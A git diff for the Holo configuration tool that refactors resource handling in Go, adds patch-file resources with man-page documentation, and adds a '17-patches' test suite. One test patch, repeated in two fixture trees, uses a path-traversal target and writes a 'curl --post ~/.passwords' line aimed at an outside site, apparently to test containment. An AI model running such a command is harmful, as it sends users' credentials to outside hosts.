diff --git a/cmd/holo-files/internal/impl/resource.go b/cmd/holo-files/internal/impl/resource.go index 46cc05d..8ed9e14 100644 --- a/cmd/holo-files/internal/impl/resource.go +++ b/cmd/holo-files/internal/impl/resource.go @@ -22,118 +22,71 @@ package impl import ( - "bytes" - "fmt" - "os" - "os/exec" "path/filepath" "strings" "github.com/holocm/holo/cmd/holo-files/internal/common" ) -//Resource represents a single file in $HOLO_RESOURCE_DIR. The string -//stored in it is the path to the repo file (also accessible as Path()). -type Resource string - -//NewResource creates a Resource instance when its path in the file system is -//known. -func NewResource(path string) Resource { - return Resource(path) +//Resource represents a single file in $HOLO_RESOURCE_DIR. +type Resource interface { + // Path returns the path to this resource in the file system. + Path() string + + // Disambiguator returns the disambiguator, i.e. the Path() + // element before the EntityPath() that disambiguates multiple + // resources for the same entity. + Disambiguator() string + + // EntityPath returns the path to the corresponding entity. + EntityPath() string + + // ApplicationStrategy returns the human-readable name for the + // strategy that will be employed to apply this resource. + ApplicationStrategy() string + + // DiscardsPreviousBuffer indicates whether applying this + // resource will discard the previous file buffer (and thus + // the effect of all previous resources). This is used as a + // hint by the application algorithm to decide whether + // application steps can be skipped completely. + DiscardsPreviousBuffer() bool + + // ApplyTo applies this Resource to a file buffer, as part of + // the `holo apply` algorithm. + ApplyTo(entityBuffer common.FileBuffer) (common.FileBuffer, error) } -//Path returns the path to this resource in the file system. -func (resource Resource) Path() string { - return string(resource) +type rawResource struct { + path string + disambiguator string + entityPath string } -//EntityPath returns the path to the corresponding entity. -func (resource Resource) EntityPath() string { - //the optional ".holoscript" suffix appears only on resources - path := resource.Path() - path = strings.TrimSuffix(path, ".holoscript") +func (resource rawResource) Path() string { return resource.path } +func (resource rawResource) Disambiguator() string { return resource.disambiguator } +func (resource rawResource) EntityPath() string { return resource.entityPath } - //make path relative +//NewResource creates a Resource instance when its path in the file system is +//known. +func NewResource(path string) Resource { relPath, _ := filepath.Rel(common.ResourceDirectory(), path) - //remove the disambiguation path element to get to the relPath for the ConfigFile - //e.g. path = '/usr/share/holo/files/23-foo/etc/foo.conf' - // -> relPath = '23-foo/etc/foo.conf' - // -> relPath = 'etc/foo.conf' - segments := strings.SplitN(relPath, fmt.Sprintf("%c", filepath.Separator), 2) - relPath = segments[1] - - return relPath -} - -//Disambiguator returns the disambiguator, i.e. the Path() element before the -//EntityPath() that disambiguates multiple resources for the same entity. -func (resource Resource) Disambiguator() string { - //make path relative to ResourceDirectory() - relPath, _ := filepath.Rel(common.ResourceDirectory(), resource.Path()) - //the disambiguator is the first path element in there - segments := strings.SplitN(relPath, fmt.Sprintf("%c", filepath.Separator), 2) - return segments[0] -} - -//ApplicationStrategy returns the human-readable name for the strategy that -//will be employed to apply this repo file. -func (resource Resource) ApplicationStrategy() string { - if strings.HasSuffix(resource.Path(), ".holoscript") { - return "passthru" + segments := strings.SplitN(relPath, string(filepath.Separator), 2) + ext := filepath.Ext(segments[1]) + raw := rawResource{ + path: path, + disambiguator: segments[0], + entityPath: strings.TrimSuffix(segments[1], ext), } - return "apply" -} - -//DiscardsPreviousBuffer indicates whether applying this file will discard the -//previous file buffer (and thus the effect of all previous application steps). -//This is used as a hint by the application algorithm to decide whether -//application steps can be skipped completely. -func (resource Resource) DiscardsPreviousBuffer() bool { - return resource.ApplicationStrategy() == "apply" -} - -//ApplyTo applies this Resource to a file buffer, as part of the `holo apply` -//algorithm. Regular repofiles will replace the file buffer, while a holoscript -//will be executed on the file buffer to obtain the new buffer. -func (resource Resource) ApplyTo(entityBuffer common.FileBuffer) (common.FileBuffer, error) { - if resource.ApplicationStrategy() == "apply" { - resourceBuffer, err := common.NewFileBuffer(resource.Path()) - if err != nil { - return common.FileBuffer{}, err - } - entityBuffer.Contents = resourceBuffer.Contents - entityBuffer.Mode = (entityBuffer.Mode &^ os.ModeType) | (resourceBuffer.Mode & os.ModeType) - - //since Linux disregards mode flags on symlinks and always reports 0777 perms, - //normalize the mode thusly to make FileBuffer.EqualTo() work reliably - if entityBuffer.Mode&os.ModeSymlink != 0 { - entityBuffer.Mode = os.ModeSymlink | os.ModePerm - } - return entityBuffer, nil + switch ext { + case ".holoscript": + return Holoscript{raw} + case ".patch": + return Patchfile{raw} + default: + raw.entityPath += ext + return StaticResource{raw} } - - //application of a holoscript requires file contents - entityBuffer, err := entityBuffer.ResolveSymlink() - if err != nil { - return common.FileBuffer{}, err - } - - //run command, fetch result file into buffer (not into the entity - //directly, in order not to corrupt the file there if the script run fails) - var stdout bytes.Buffer - cmd := exec.Command(resource.Path()) - cmd.Stdin = strings.NewReader(entityBuffer.Contents) - cmd.Stdout = &stdout - cmd.Stderr = os.Stderr - err = cmd.Run() - if err != nil { - return common.FileBuffer{}, fmt.Errorf("execution of %s failed: %s", resource.Path(), err.Error()) - } - - //result is the stdout of the script - entityBuffer.Mode &^= os.ModeType - entityBuffer.Contents = stdout.String() - return entityBuffer, nil } //Resources holds a slice of Resource instances, and implements some methods diff --git a/cmd/holo-files/internal/impl/resource_patch.go b/cmd/holo-files/internal/impl/resource_patch.go new file mode 100644 index 0000000..86d9ab1 --- /dev/null +++ b/cmd/holo-files/internal/impl/resource_patch.go @@ -0,0 +1,111 @@ +/******************************************************************************* +* +* Copyright 2017-2018 Luke Shumaker +* +* This file is part of Holo. +* +* Holo is free software: you can redistribute it and/or modify it under the +* terms of the GNU General Public License as published by the Free Software +* Foundation, either version 3 of the License, or (at your option) any later +* version. +* +* Holo is distributed in the hope that it will be useful, but WITHOUT ANY +* WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +* A PARTICULAR PURPOSE. See the GNU General Public License for more details. +* +* You should have received a copy of the GNU General Public License along with +* Holo. If not, see . +* +*******************************************************************************/ + +package impl + +import ( + "fmt" + "io/ioutil" + "os" + "os/exec" + "path/filepath" + "strings" + + "github.com/holocm/holo/cmd/holo-files/internal/common" +) + +// Patchfile is a Resource that is a `patch(1)` file that edits the +// current version of the entity. +type Patchfile struct{ rawResource } + +// ApplicationStrategy implements the Resource interface. +func (resource Patchfile) ApplicationStrategy() string { return "patch" } + +// DiscardsPreviousBuffer implements the Resource interface. +func (resource Patchfile) DiscardsPreviousBuffer() bool { return false } + +// ApplyTo implements the Resource interface. +func (resource Patchfile) ApplyTo(entityBuffer common.FileBuffer) (common.FileBuffer, error) { + // `patch` requires that the file it's operating on be a real + // file (not a pipe). So, we'll write entityBuffer to a + // temporary file, run `patch`, then read it back. + + // We really only normally need 1 temporary file, but: + // 1. since common.FileBuffer.Write removes the file and then + // re-creates it, that's a bit racy + // 2. The only way to limit patch to operating on a single + // file is to name that file on the command line, but + // doing that prevents it from unlinking the file, which + // prevents type changes. + // + // Using a temporary directory lets us easily work around both + // of these issues. Unfortunately, this allows the patch to + // create new files other than the one for the entity we are + // applying. However, it can't escape the temporary + // directory, so we'll just "allow" that, and document that we + // ignore those files. + targetDir, err := ioutil.TempDir(os.Getenv("HOLO_CACHE_DIR"), "patch-target.") + if err != nil { + return common.FileBuffer{}, err + } + defer os.RemoveAll(targetDir) + targetPath := filepath.Join(targetDir, filepath.Base(entityBuffer.Path)) + + // Write entityBuffer to the temporary file + err = entityBuffer.Write(targetPath) + if err != nil { + return common.FileBuffer{}, err + } + + // Run `patch` on the temporary file + patchfile, err := filepath.Abs(resource.Path()) + if err != nil { + return common.FileBuffer{}, err + } + cmd := exec.Command("patch", + "-N", + "-i", patchfile, + ) + cmd.Dir = targetDir + cmd.Stdout = os.Stderr + cmd.Stderr = os.Stderr + err = cmd.Run() + if err != nil { + return common.FileBuffer{}, fmt.Errorf("execution failed: %s: %s", strings.Join(cmd.Args, " "), err.Error()) + } + + // Read the result back + // + // Allow `patch` to override everything but the filepath: + // - file type (changable with git-style "deleted file + // mode"/"new file mode" lines, which are implemented by at + // least GNU patch, if not in strict POSIX mode) + // - file permissions (changable with git-style "new mode" + // lines, which are implemented by at least GNU patch) + // - UID/GID (I don't know of a patch syntax that does this, + // but maybe it will exist in the future) + // - contents (obviously) + targetBuffer, err := common.NewFileBuffer(targetPath) + if err != nil { + return common.FileBuffer{}, err + } + targetBuffer.Path = entityBuffer.Path + return targetBuffer, nil +} diff --git a/cmd/holo-files/internal/impl/resource_script.go b/cmd/holo-files/internal/impl/resource_script.go new file mode 100644 index 0000000..fc17690 --- /dev/null +++ b/cmd/holo-files/internal/impl/resource_script.go @@ -0,0 +1,68 @@ +/******************************************************************************* +* +* Copyright 2015 Stefan Majewsky +* Copyright 2017 Luke Shumaker +* +* This file is part of Holo. +* +* Holo is free software: you can redistribute it and/or modify it under the +* terms of the GNU General Public License as published by the Free Software +* Foundation, either version 3 of the License, or (at your option) any later +* version. +* +* Holo is distributed in the hope that it will be useful, but WITHOUT ANY +* WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +* A PARTICULAR PURPOSE. See the GNU General Public License for more details. +* +* You should have received a copy of the GNU General Public License along with +* Holo. If not, see . +* +*******************************************************************************/ + +package impl + +import ( + "bytes" + "fmt" + "os" + "os/exec" + "strings" + + "github.com/holocm/holo/cmd/holo-files/internal/common" +) + +// Holoscript is a Resource that is a script that edits the current +// version of the entity. +type Holoscript struct{ rawResource } + +// ApplicationStrategy implements the Resource interface. +func (resource Holoscript) ApplicationStrategy() string { return "passthru" } + +// DiscardsPreviousBuffer implements the Resource interface. +func (resource Holoscript) DiscardsPreviousBuffer() bool { return false } + +// ApplyTo implements the Resource interface. +func (resource Holoscript) ApplyTo(entityBuffer common.FileBuffer) (common.FileBuffer, error) { + //application of a holoscript requires file contents + entityBuffer, err := entityBuffer.ResolveSymlink() + if err != nil { + return common.FileBuffer{}, err + } + + //run command, fetch result file into buffer (not into the entity + //directly, in order not to corrupt the file there if the script run fails) + var stdout bytes.Buffer + cmd := exec.Command(resource.Path()) + cmd.Stdin = strings.NewReader(entityBuffer.Contents) + cmd.Stdout = &stdout + cmd.Stderr = os.Stderr + err = cmd.Run() + if err != nil { + return common.FileBuffer{}, fmt.Errorf("execution of %s failed: %s", resource.Path(), err.Error()) + } + + //result is the stdout of the script + entityBuffer.Mode &^= os.ModeType + entityBuffer.Contents = stdout.String() + return entityBuffer, nil +} diff --git a/cmd/holo-files/internal/impl/resource_static.go b/cmd/holo-files/internal/impl/resource_static.go new file mode 100644 index 0000000..c1bb863 --- /dev/null +++ b/cmd/holo-files/internal/impl/resource_static.go @@ -0,0 +1,55 @@ +/******************************************************************************* +* +* Copyright 2015 Stefan Majewsky +* Copyright 2017 Luke Shumaker +* +* This file is part of Holo. +* +* Holo is free software: you can redistribute it and/or modify it under the +* terms of the GNU General Public License as published by the Free Software +* Foundation, either version 3 of the License, or (at your option) any later +* version. +* +* Holo is distributed in the hope that it will be useful, but WITHOUT ANY +* WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +* A PARTICULAR PURPOSE. See the GNU General Public License for more details. +* +* You should have received a copy of the GNU General Public License along with +* Holo. If not, see . +* +*******************************************************************************/ + +package impl + +import ( + "os" + + "github.com/holocm/holo/cmd/holo-files/internal/common" +) + +// StaticResource is a Resource that is a plain static file that +// replaces the current version of the entity. +type StaticResource struct{ rawResource } + +// ApplicationStrategy implements the Resource interface. +func (resource StaticResource) ApplicationStrategy() string { return "apply" } + +// DiscardsPreviousBuffer implements the Resource interface. +func (resource StaticResource) DiscardsPreviousBuffer() bool { return true } + +// ApplyTo implements the Resource interface. +func (resource StaticResource) ApplyTo(entityBuffer common.FileBuffer) (common.FileBuffer, error) { + resourceBuffer, err := common.NewFileBuffer(resource.Path()) + if err != nil { + return common.FileBuffer{}, err + } + entityBuffer.Contents = resourceBuffer.Contents + entityBuffer.Mode = (entityBuffer.Mode &^ os.ModeType) | (resourceBuffer.Mode & os.ModeType) + + //since Linux disregards mode flags on symlinks and always reports 0777 perms, + //normalize the mode thusly to make FileBuffer.EqualTo() work reliably + if entityBuffer.Mode&os.ModeSymlink != 0 { + entityBuffer.Mode = os.ModeSymlink | os.ModePerm + } + return entityBuffer, nil +} diff --git a/doc/holo-files.8.pod b/doc/holo-files.8.pod index ca281d4..04e42d4 100644 --- a/doc/holo-files.8.pod +++ b/doc/holo-files.8.pod @@ -40,14 +40,20 @@ Resource files are applied on the B, the initial version of the target file that was found during the first C run. This target base is saved at F. -Resource files that are plain files or symlinks will just overwrite the target -base (or all previous entries), whereas executable resource files with an extra -C<.holoscript> suffix can be used to modify the target base (or the result of a -previous application step). The target contents will be piped through the -script. This is typically used when the default configuration for an -application shall be used, but with some minor modifications. The following -example uses the default configuration for L, but enables the -"Color" and "TotalDownload" options: +How resource files are applied to the target depends on each resource's file +extension: + +=over 4 + +=item C<.holoscript> The resource file is understood to be an executable program +that can be used to modify the target. The target contents (either the original +target base, or the result of a previous resource application) will be piped +through the holoscript program. + +This is typically used when the default configuration for an application shall +be used, but with some minor modifications. The following example uses the +default configuration for L, but enables the "Color" and +"TotalDownload" options: $ cat /usr/share/holo/files/20-enable-color/etc/pacman.conf.holoscript #!/bin/sh @@ -59,10 +65,32 @@ example uses the default configuration for L, but enables the store at /var/lib/holo/files/base/etc/pacman.conf passthru /usr/share/holo/files/20-enable-color/etc/pacman.conf.holoscript -When writing the new target file, ownership and permissions will be copied from -the target base, and thus from the original target file. Furthermore, a copy of -the provisioned target file is written to -F for use by C. +This allows the file contents to be modified; however, the file permissions and +ownership are not changed, and are inherited from the target base or the +previous resource application step. + +=item C<.patch> The resource file is understood to be a patch file that can be +fed to the L program. Some patch formats have the ability to change +file type and file permissions; this is respected, making this is the only +resource format that can change file permissions. + +The filename to modify is not passed to L; instead, a copy of the +target is available as the only file in the directory passed to the C<-d> flag. +This means that the filename used within the patch file must have the same +basename as the entity being operated on. Any other files that the patch file +may create are ignored. + +=item Otherwise, the resource file is a plain file or symlink that will just +overwrite the contents of the target base (and all previous resource application +steps). The ownership and file permissions are not set from the resource file, +and are inherited from the target base or the previous resource application +step. + +=back + +When writing the new target file, a copy of the provisioned target file is +written to F for use by C. In normal operation, holo-files will refuse to operate on a target file that has been modified or deleted by the user or by another program. Apply diff --git a/test/files/17-patches/expected-apply-output b/test/files/17-patches/expected-apply-output new file mode 100644 index 0000000..852a380 --- /dev/null +++ b/test/files/17-patches/expected-apply-output @@ -0,0 +1,43 @@ + +Working on file:/etc/symlink + store at target/var/lib/holo/files/base/etc/symlink + patch target/usr/share/holo/files/17-patches/etc/symlink.patch + +patching symbolic link symlink + +Working on file:/etc/symlink-to-plain + store at target/var/lib/holo/files/base/etc/symlink-to-plain + patch target/usr/share/holo/files/17-patches/etc/symlink-to-plain.patch + +patching symbolic link symlink-to-plain +patching file symlink-to-plain + +Working on file:/etc/txtfile + store at target/var/lib/holo/files/base/etc/txtfile + patch target/usr/share/holo/files/17-patches/etc/txtfile.patch + +patching file txtfile + +Working on file:/etc/txtfile-to-symlink + store at target/var/lib/holo/files/base/etc/txtfile-to-symlink + patch target/usr/share/holo/files/17-patches/etc/txtfile-to-symlink.patch + +patching file txtfile-to-symlink +patching symbolic link txtfile-to-symlink + +Working on file:/etc/txtfile-with-fuzz + store at target/var/lib/holo/files/base/etc/txtfile-with-fuzz + patch target/usr/share/holo/files/17-patches/etc/txtfile-with-fuzz.patch + +patching file txtfile-with-fuzz +Hunk #1 succeeded at 1 with fuzz 1. + +Working on file:/etc/txtfile-with-garbage + store at target/var/lib/holo/files/base/etc/txtfile-with-garbage + patch target/usr/share/holo/files/17-patches/etc/txtfile-with-garbage.patch + +patching file txtfile-with-garbage +patching file garbage +patching file ls + +exit status 0 diff --git a/test/files/17-patches/expected-diff-output b/test/files/17-patches/expected-diff-output new file mode 100644 index 0000000..9b8fcab --- /dev/null +++ b/test/files/17-patches/expected-diff-output @@ -0,0 +1,59 @@ +diff --holo target/var/lib/holo/files/provisioned/etc/symlink target/etc/symlink +new file mode 120000 +--- /dev/null ++++ target/etc/symlink +@@ -0,0 +1 @@ ++txtfile +\ No newline at end of file +diff --holo target/var/lib/holo/files/provisioned/etc/symlink-to-plain target/etc/symlink-to-plain +new file mode 120000 +--- /dev/null ++++ target/etc/symlink-to-plain +@@ -0,0 +1 @@ ++txtfile +\ No newline at end of file +diff --holo target/var/lib/holo/files/provisioned/etc/txtfile target/etc/txtfile +new file mode 100644 +--- /dev/null ++++ target/etc/txtfile +@@ -0,0 +1,6 @@ ++foo ++foo ++foo ++baz ++bar ++bar +diff --holo target/var/lib/holo/files/provisioned/etc/txtfile-to-symlink target/etc/txtfile-to-symlink +new file mode 100644 +--- /dev/null ++++ target/etc/txtfile-to-symlink +@@ -0,0 +1,6 @@ ++foo ++foo ++foo ++baz ++bar ++bar +diff --holo target/var/lib/holo/files/provisioned/etc/txtfile-with-fuzz target/etc/txtfile-with-fuzz +new file mode 100644 +--- /dev/null ++++ target/etc/txtfile-with-fuzz +@@ -0,0 +1,6 @@ ++foo ++foo ++foo ++baz ++bar ++bar +diff --holo target/var/lib/holo/files/provisioned/etc/txtfile-with-garbage target/etc/txtfile-with-garbage +new file mode 100644 +--- /dev/null ++++ target/etc/txtfile-with-garbage +@@ -0,0 +1,6 @@ ++foo ++foo ++foo ++baz ++bar ++bar +exit status 0 diff --git a/test/files/17-patches/expected-scan-output b/test/files/17-patches/expected-scan-output new file mode 100644 index 0000000..ac8056e --- /dev/null +++ b/test/files/17-patches/expected-scan-output @@ -0,0 +1,26 @@ + +file:/etc/symlink + store at target/var/lib/holo/files/base/etc/symlink + patch target/usr/share/holo/files/17-patches/etc/symlink.patch + +file:/etc/symlink-to-plain + store at target/var/lib/holo/files/base/etc/symlink-to-plain + patch target/usr/share/holo/files/17-patches/etc/symlink-to-plain.patch + +file:/etc/txtfile + store at target/var/lib/holo/files/base/etc/txtfile + patch target/usr/share/holo/files/17-patches/etc/txtfile.patch + +file:/etc/txtfile-to-symlink + store at target/var/lib/holo/files/base/etc/txtfile-to-symlink + patch target/usr/share/holo/files/17-patches/etc/txtfile-to-symlink.patch + +file:/etc/txtfile-with-fuzz + store at target/var/lib/holo/files/base/etc/txtfile-with-fuzz + patch target/usr/share/holo/files/17-patches/etc/txtfile-with-fuzz.patch + +file:/etc/txtfile-with-garbage + store at target/var/lib/holo/files/base/etc/txtfile-with-garbage + patch target/usr/share/holo/files/17-patches/etc/txtfile-with-garbage.patch + +exit status 0 diff --git a/test/files/17-patches/expected-tree b/test/files/17-patches/expected-tree new file mode 100644 index 0000000..e034cf8 --- /dev/null +++ b/test/files/17-patches/expected-tree @@ -0,0 +1,216 @@ +symlink 0777 ./etc/holorc +../../../holorc +---------------------------------------- +file 0644 ./etc/os-release +ID=unittest +---------------------------------------- +symlink 0777 ./etc/symlink +txtfile-with-fuzz +---------------------------------------- +file 0644 ./etc/symlink-to-plain +foo +foo +foo +bar +---------------------------------------- +file 0755 ./etc/txtfile +foo +foo +foo +bar +---------------------------------------- +symlink 0777 ./etc/txtfile-to-symlink +txtfile +---------------------------------------- +file 0644 ./etc/txtfile-with-fuzz +foo +foo +foo +bar +---------------------------------------- +file 0644 ./etc/txtfile-with-garbage +foo +foo +foo +bar +---------------------------------------- +directory 0755 ./run/ +---------------------------------------- +directory 0755 ./tmp/ +---------------------------------------- +file 0644 ./usr/share/holo/files/17-patches/etc/symlink-to-plain.patch +diff --git a/symlink-to-plain b/symlink-to-plain +deleted file mode 120000 +index d2eecfe..0000000 +--- a/symlink-to-plain ++++ /dev/null +@@ -1 +0,0 @@ +-txtfile +\ No newline at end of file +diff --git a/symlink-to-plain b/symlink-to-plain +new file mode 100644 +index 0000000..dacb3b9 +--- /dev/null ++++ b/symlink-to-plain +@@ -0,0 +1,4 @@ ++foo ++foo ++foo ++bar +---------------------------------------- +file 0644 ./usr/share/holo/files/17-patches/etc/symlink.patch +diff --git a/symlink b/symlink +index 1a010b1..30d67d4 120000 +--- a/symlink ++++ b/symlink +@@ -1 +1 @@ +-txtfile +\ No newline at end of file ++txtfile-with-fuzz +\ No newline at end of file +---------------------------------------- +file 0644 ./usr/share/holo/files/17-patches/etc/txtfile-to-symlink.patch +diff --git a/txtfile-to-symlink b/txtfile-to-symlink +deleted file mode 100644 +index efbe4b6..0000000 +--- a/txtfile-to-symlink ++++ /dev/null +@@ -1,6 +0,0 @@ +-foo +-foo +-foo +-baz +-bar +-bar +diff --git a/txtfile-to-symlink b/txtfile-to-symlink +new file mode 120000 +index 0000000..d2eecfe +--- /dev/null ++++ b/txtfile-to-symlink +@@ -0,0 +1 @@ ++txtfile +\ No newline at end of file +---------------------------------------- +file 0644 ./usr/share/holo/files/17-patches/etc/txtfile-with-fuzz.patch +diff --git a/txtfile-with-fuzz b/txtfile-with-fuzz +index efbe4b6..dacb3b9 100644 +--- a/txtfile-with-fuzz ++++ b/txtfile-with-fuzz +@@ -1,6 +1,4 @@ + fuzz + foo + foo +-baz +-bar + bar +---------------------------------------- +file 0644 ./usr/share/holo/files/17-patches/etc/txtfile-with-garbage.patch +diff --git some/funny/nested/subdir/txtfile-with-garbage a/different/directory/txtfile-with-garbage +index efbe4b6..dacb3b9 100644 +--- some/funny/nested/subdir/txtfile-with-garbage ++++ a/different/directory/txtfile-with-garbage +@@ -1,6 +1,4 @@ + foo + foo + foo +-baz +-bar + bar +diff --git a/garbage b/garbage +new file mode 100644 +index 0000000..07360e3 +--- /dev/null ++++ b/garbage +@@ -0,0 +1 @@ ++zap +diff --git ../bin/ihack/you/ls ../bin/ihack/you/ls +new file mode 100644 +index 0000000..07360e3 +--- ../bin/ihack/you/ls ++++ ../bin/ihack/you/ls +@@ -0,0 +1 @@ ++curl --post ~/.passwords https://4chan.org/ +---------------------------------------- +file 0644 ./usr/share/holo/files/17-patches/etc/txtfile.patch +diff --git a/txtfile b/txtfile +old mode 100644 +new mode 100755 +index efbe4b6..dacb3b9 +--- a/txtfile ++++ b/txtfile +@@ -1,6 +1,4 @@ + foo + foo + foo +-baz +-bar + bar +---------------------------------------- +symlink 0777 ./var/lib/holo/files/base/etc/symlink +txtfile +---------------------------------------- +symlink 0777 ./var/lib/holo/files/base/etc/symlink-to-plain +txtfile +---------------------------------------- +file 0644 ./var/lib/holo/files/base/etc/txtfile +foo +foo +foo +baz +bar +bar +---------------------------------------- +file 0644 ./var/lib/holo/files/base/etc/txtfile-to-symlink +foo +foo +foo +baz +bar +bar +---------------------------------------- +file 0644 ./var/lib/holo/files/base/etc/txtfile-with-fuzz +foo +foo +foo +baz +bar +bar +---------------------------------------- +file 0644 ./var/lib/holo/files/base/etc/txtfile-with-garbage +foo +foo +foo +baz +bar +bar +---------------------------------------- +symlink 0777 ./var/lib/holo/files/provisioned/etc/symlink +txtfile-with-fuzz +---------------------------------------- +file 0644 ./var/lib/holo/files/provisioned/etc/symlink-to-plain +foo +foo +foo +bar +---------------------------------------- +file 0755 ./var/lib/holo/files/provisioned/etc/txtfile +foo +foo +foo +bar +---------------------------------------- +symlink 0777 ./var/lib/holo/files/provisioned/etc/txtfile-to-symlink +txtfile +---------------------------------------- +file 0644 ./var/lib/holo/files/provisioned/etc/txtfile-with-fuzz +foo +foo +foo +bar +---------------------------------------- +file 0644 ./var/lib/holo/files/provisioned/etc/txtfile-with-garbage +foo +foo +foo +bar +---------------------------------------- diff --git a/test/files/17-patches/source-tree b/test/files/17-patches/source-tree new file mode 100644 index 0000000..9b5fc28 --- /dev/null +++ b/test/files/17-patches/source-tree @@ -0,0 +1,152 @@ +symlink 0777 ./etc/holorc +../../../holorc +---------------------------------------- +file 0644 ./etc/os-release +ID=unittest +---------------------------------------- +symlink 0777 ./etc/symlink +txtfile +---------------------------------------- +symlink 0777 ./etc/symlink-to-plain +txtfile +---------------------------------------- +file 0644 ./etc/txtfile +foo +foo +foo +baz +bar +bar +---------------------------------------- +file 0644 ./etc/txtfile-to-symlink +foo +foo +foo +baz +bar +bar +---------------------------------------- +file 0644 ./etc/txtfile-with-fuzz +foo +foo +foo +baz +bar +bar +---------------------------------------- +file 0644 ./etc/txtfile-with-garbage +foo +foo +foo +baz +bar +bar +---------------------------------------- +file 0644 ./usr/share/holo/files/17-patches/etc/symlink-to-plain.patch +diff --git a/symlink-to-plain b/symlink-to-plain +deleted file mode 120000 +index d2eecfe..0000000 +--- a/symlink-to-plain ++++ /dev/null +@@ -1 +0,0 @@ +-txtfile +\ No newline at end of file +diff --git a/symlink-to-plain b/symlink-to-plain +new file mode 100644 +index 0000000..dacb3b9 +--- /dev/null ++++ b/symlink-to-plain +@@ -0,0 +1,4 @@ ++foo ++foo ++foo ++bar +---------------------------------------- +file 0644 ./usr/share/holo/files/17-patches/etc/symlink.patch +diff --git a/symlink b/symlink +index 1a010b1..30d67d4 120000 +--- a/symlink ++++ b/symlink +@@ -1 +1 @@ +-txtfile +\ No newline at end of file ++txtfile-with-fuzz +\ No newline at end of file +---------------------------------------- +file 0644 ./usr/share/holo/files/17-patches/etc/txtfile-to-symlink.patch +diff --git a/txtfile-to-symlink b/txtfile-to-symlink +deleted file mode 100644 +index efbe4b6..0000000 +--- a/txtfile-to-symlink ++++ /dev/null +@@ -1,6 +0,0 @@ +-foo +-foo +-foo +-baz +-bar +-bar +diff --git a/txtfile-to-symlink b/txtfile-to-symlink +new file mode 120000 +index 0000000..d2eecfe +--- /dev/null ++++ b/txtfile-to-symlink +@@ -0,0 +1 @@ ++txtfile +\ No newline at end of file +---------------------------------------- +file 0644 ./usr/share/holo/files/17-patches/etc/txtfile-with-fuzz.patch +diff --git a/txtfile-with-fuzz b/txtfile-with-fuzz +index efbe4b6..dacb3b9 100644 +--- a/txtfile-with-fuzz ++++ b/txtfile-with-fuzz +@@ -1,6 +1,4 @@ + fuzz + foo + foo +-baz +-bar + bar +---------------------------------------- +file 0644 ./usr/share/holo/files/17-patches/etc/txtfile-with-garbage.patch +diff --git some/funny/nested/subdir/txtfile-with-garbage a/different/directory/txtfile-with-garbage +index efbe4b6..dacb3b9 100644 +--- some/funny/nested/subdir/txtfile-with-garbage ++++ a/different/directory/txtfile-with-garbage +@@ -1,6 +1,4 @@ + foo + foo + foo +-baz +-bar + bar +diff --git a/garbage b/garbage +new file mode 100644 +index 0000000..07360e3 +--- /dev/null ++++ b/garbage +@@ -0,0 +1 @@ ++zap +diff --git ../bin/ihack/you/ls ../bin/ihack/you/ls +new file mode 100644 +index 0000000..07360e3 +--- ../bin/ihack/you/ls ++++ ../bin/ihack/you/ls +@@ -0,0 +1 @@ ++curl --post ~/.passwords https://4chan.org/ +---------------------------------------- +file 0644 ./usr/share/holo/files/17-patches/etc/txtfile.patch +diff --git a/txtfile b/txtfile +old mode 100644 +new mode 100755 +index efbe4b6..dacb3b9 +--- a/txtfile ++++ b/txtfile +@@ -1,6 +1,4 @@ + foo + foo + foo +-baz +-bar + bar +---------------------------------------- diff --git a/util/dump-to-tree.sh b/util/dump-to-tree.sh index e3d3c56..f323fa8 100755 --- a/util/dump-to-tree.sh +++ b/util/dump-to-tree.sh @@ -40,7 +40,7 @@ while read_and_inc FILE_TYPE FILE_MODE FILE_PATH; do file) install -D -m "${FILE_MODE}" /dev/null "${FILE_PATH}" # header is followed by file content, terminated by a separator line like "---------------" - while IFS='' read_and_inc_or_fail LINE; do + while IFS='' read_and_inc_or_fail -r LINE; do if [[ "${LINE}" =~ ^-+$ ]]; then break fi